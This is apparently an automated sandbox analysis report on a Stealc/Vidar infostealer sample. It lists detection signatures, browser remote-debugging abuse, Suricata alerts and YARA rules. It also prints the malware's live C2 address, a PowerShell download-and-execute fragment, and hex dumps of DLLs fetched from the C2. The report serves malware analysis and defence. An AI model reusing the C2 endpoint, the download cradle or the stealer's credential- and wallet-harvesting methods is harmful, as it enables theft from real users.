Edit tour

Windows Analysis Report
gYjK72gL17.exe

Overview

General Information

Sample name:	gYjK72gL17.exe renamed because original name is a hash value
Original sample name:	05dc698e49fce4efae5872eb54f19767.exe
Analysis ID:	1580418
MD5:	05dc698e49fce4efae5872eb54f19767
SHA1:	29cfcfbbb21aefabe7c57a057dcf0335cb4a0ac0
SHA256:	86a95ebe542d3aed78191cf9bb40d86b7986b338e50941bf7db1ed5008a4e027
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Monitors registry run keys for changes

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

gYjK72gL17.exe (PID: 4512 cmdline: "C:\Users\user\Desktop\gYjK72gL17.exe" MD5: 05DC698E49FCE4EFAE5872EB54F19767)

chrome.exe (PID: 2496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6208 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2596 --field-trial-handle=2324,i,1475862429204762952,15165259420851730460,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7932 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2320,i,3391580961989094564,10660087592265685708,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8172 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 4872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2188,i,279746520434431833,257325066205650014,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.231.69.191/f190e2808a5419c3.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2607101722.0000000001527000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2605576671.00000000001EB000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2605632956.0000000000294000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gYjK72gL17.exe PID: 4512	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: gYjK72gL17.exe PID: 4512	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: gYjK72gL17.exe PID: 4512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gYjK72gL17.exe PID: 4512	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.gYjK72gL17.exe.1c0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.gYjK72gL17.exe.1c0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.gYjK72gL17.exe.1c0000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x33d02:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x33e5a:$str02: Azure\.IdentityService 0x33e7e:$str03: steam_tokens.txt 0x33b12:$str04: "encrypted_key":" 0x33c3a:$str05: prefs.js 0x33cb2:$str06: browser: FileZilla 0x33cc6:$str07: profile: null 0x33cd6:$str08: url: 0x33cde:$str09: login: 0x33ce6:$str10: password:

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\gYjK72gL17.exe", ParentImage: C:\Users\user\Desktop\gYjK72gL17.exe, ParentProcessId: 4512, ParentProcessName: gYjK72gL17.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 2496, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T14:02:03.296739+0100	2044245	1	Malware Command and Control Activity Detected	185.231.69.191	80	192.168.2.6	49709	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T14:02:03.148782+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.231.69.191	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T14:02:03.569827+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.231.69.191	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T14:02:43.918174+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.6	49787	185.231.69.191	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T14:02:05.004036+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.231.69.191	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T14:02:03.859885+0100	2044247	1	Malware Command and Control Activity Detected	185.231.69.191	80	192.168.2.6	49709	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T14:02:02.754727+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.231.69.191	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T14:02:05.645257+0100	2803304	3	Unknown Traffic	192.168.2.6	49709	185.231.69.191	80	TCP
2024-12-24T14:02:31.933483+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:33.940357+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:35.218706+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:36.238596+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:39.736302+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:40.813724+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.231.69.191	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: gYjK72gL17.exe

Avira: detected

Antivirus detection for URL or domain

Source: 185.231.69.191/f190e2808a5419c3.php	Avira URL Cloud: Label: malware
Source: http://185.231.69.191/f190e2808a5419c3.php	Avira URL Cloud: Label: malware

Found malware configuration

Source: gYjK72gL17.exe.4512.0.memstrmin

Malware Configuration Extractor: StealC {"C2 url": "185.231.69.191/f190e2808a5419c3.php"}

Multi AV Scanner detection for submitted file

Source: gYjK72gL17.exe

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Code function: 0_2_6C996C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C996C80

Source: gYjK72gL17.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49989 version: TLS 1.2

Source: gYjK72gL17.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: gYjK72gL17.exe, 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: gYjK72gL17.exe, 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49709 -> 185.231.69.191:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49709 -> 185.231.69.191:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.231.69.191:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49709 -> 185.231.69.191:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.231.69.191:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49709 -> 185.231.69.191:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.6:49787 -> 185.231.69.191:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 185.231.69.191/f190e2808a5419c3.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 13:02:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 13:02:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 13:02:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 